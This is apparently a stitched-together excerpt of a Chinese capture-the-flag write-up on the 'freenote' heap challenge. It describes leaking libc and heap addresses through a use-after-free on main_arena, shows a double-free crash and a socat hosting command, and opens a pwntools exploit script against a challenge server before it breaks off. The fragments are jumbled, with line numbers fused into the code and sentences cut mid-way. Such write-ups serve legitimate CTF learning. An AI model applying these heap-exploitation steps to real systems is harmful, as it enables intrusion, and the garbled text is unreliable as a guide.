en其实libc基址也可以后面搞,这里有点忘就直接用uaf泄露main_arena然后换算得到libc基址。 堆地址也差不多,创建4个堆然后释放0、2号(其实好像3个也可以,遗忘太可怕),这时候0号堆块fd和bk将指向2号堆块构成双向链表,再用uaf把0号拿回来: 0号堆块被从链表中拆掉后,2号堆块的fd和bk都会指向main_arena+88的...
*** Error in `./freenote': double free or corruption (!prev): 0x0000000000672830 *** Aborted 在Ubuntu 14.04 上把程序跑起来: $ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.19.so ./freenote" & 题目解析
1from pwn import *2p = remote('pwn2.jarvisoj.com',9886)3elf = ELF("./freenote_x64")4libc = ELF("./libc-2.19.so")5def list():6p.recvuntil("Your choice: ")7p.sendline("1")89def new(length, note):10p.recvuntil("Your choice: ")11p.sendline("2")12p.recvuntil("new note: "...